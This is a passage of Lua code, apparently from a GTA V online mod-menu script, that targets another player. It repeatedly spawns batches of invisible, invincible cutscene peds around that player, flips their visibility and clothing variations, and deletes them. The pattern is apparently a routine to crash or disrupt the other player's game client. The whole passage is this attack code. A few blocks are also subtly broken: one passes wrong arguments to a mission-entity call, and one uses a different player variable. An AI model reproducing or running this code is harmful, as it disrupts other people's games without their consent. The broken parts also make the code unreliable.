                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds5[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds5[i], 3, 1, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds5[i])
                wait(5)
            end
            
            local pedhash = util.joaat("cs_taostranslator")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds6 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds6[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds6[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds6[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds6[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds6[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds6[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds6[i], 3, 0, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds6[i])
                wait(5)
            end
            local pedhash = util.joaat("cs_debra")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds7 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds7[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds7[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds7[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds7[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds7[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds7[i], 4, 0, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds7[i])
                wait(5)
            end
            local pedhash = util.joaat("cs_devin")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds8 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds8[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds8[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds8[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds8[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds8[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds8[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds8[i], 3, 1, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds8[i])
                wait(5)
            end
            local pedhash = util.joaat("cs_guadalope")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds9 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds9[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds9[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds9[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds9[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds9[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds9[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds9[i], 3, 0, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds9[i])
                wait(5)
            end
            local pedhash = util.joaat("cs_gurk")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds10 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds10[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds10[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds10[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds10[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds10[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds10[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds10[i], 3, 0, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds10[i])
                wait(5)
            end
            
            local pedhash = util.joaat("cs_jimmydisanto")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds11 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds11[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds11[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds11[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds11[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds11[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds11[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds11[i], 3, 2, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds11[i])
                wait(5)
            end
            local pedhash = util.joaat("cs_josh")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds12 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds12[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds12[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds12[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds12[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds12[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds12[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds12[i], 3, 0, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds12[i])
                wait(5)
            end
            local pedhash = util.joaat("cs_lamardavis")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds13 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds13[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds13[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds13[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds13[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds13[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds13[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds13[i], 3, 2, 3, 0 )
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds13[i])
                wait(5)
            end
            local pedhash = util.joaat("cs_lestercrest")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds14 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds14[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds14[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds14[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds14[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds14[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds14[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds14[i], 11, 2, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds14[i])
                wait(5)
            end
            local pedhash = util.joaat("cs_lestercrest_3")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds15 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds15[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds15[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds15[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds15[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds15[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds15[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds15[i], 3, 2, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds15[i])
                wait(5)
            end
            local pedhash = util.joaat("cs_martinmadrazo")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds16 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds16[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds16[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds16[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds16[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds16[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds16[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds16[i], 3, 0, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds16[i])
                wait(5)
            end
            local pedhash = util.joaat("cs_milton")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds17 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds17[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds17[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds17[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds17[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds17[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds17[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds17[i], 3, 0, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds17[i])
                wait(5)
            end
            local pedhash = util.joaat("cs_molly")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds18 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds18[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds18[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds18[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds18[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds18[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds18[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds18[i], 4, 1, 3, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds18[i])
                wait(5)
            end
            local pedhash = util.joaat("cs_mrs_thornhill")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds19 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds19[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds19[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds19[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds19[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds19[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds19[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds19[i], 3, 0, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds19[i])
                wait(5)
            end
            local pedhash = util.joaat("cs_nigel")
            while not STREAMING.HAS_MODEL_LOADED(pedhash) do
                STREAMING.REQUEST_MODEL(pedhash)
                wait(10)
            end
            local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            local FinalRenderedCamRot = CAM.GET_FINAL_RENDERED_CAM_ROT(2).z
            SpawnedPeds20 = {}
            local ped_amount = math_random(7, 10)
            for i = 1, ped_amount do
                local pedtype = 0
                local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
                local coords = PlayerPedCoords
                local loc1, loc2, loc3, pedt = math_random(1,2), math_random(1,2), math_random(1,2), math_random(1,2)
                coords.x = coords.x
                coords.y = coords.y
                coords.z = coords.z
                if loc1 == 1 then
                    coords.x = coords.x - math_random(1, 5)
                else
                    coords.x = coords.x + math_random(1, 5)
                end
                if loc2 == 1 then
                    coords.y = coords.y - math_random(1, 5)
                else
                    coords.y = coords.y + math_random(1, 5)
                end
                if loc3 == 1 then
                    coords.z = coords.z - math_random(3, 5)
                else
                    coords.z = coords.z + math_random(3, 5)
                end
                if pedt == 1 then
                    pedtype = 0
                else
                    pedtype = 3
                end
                SpawnedPeds20[i] = entities.create_ped(pedtype, pedhash, coords, FinalRenderedCamRot)
                ENTITY.SET_ENTITY_AS_MISSION_ENTITY(SpawnedPeds20[i], true, true)
                TASK.TASK_START_SCENARIO_IN_PLACE(SpawnedPeds20[i], "Walk_Facility", 0, false)
                ENTITY.SET_ENTITY_INVINCIBLE(SpawnedPeds20[i], true)
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds20[i], false)
                wait(5)
            end
            for i = 1, ped_amount do
                ENTITY.SET_ENTITY_VISIBLE(SpawnedPeds20[i], true)
                PED.SET_PED_COMPONENT_VARIATION(SpawnedPeds20[i], 3, 0, 1, 0)
                wait()
            end
            wait(50)
            for i = 1, ped_amount do
                entities.delete(SpawnedPeds20[i])
                wait(5)					
            end
            wait(100)
            util.toast("Done")
        else
            util.toast("You can't use it on yourself")
        end
end)

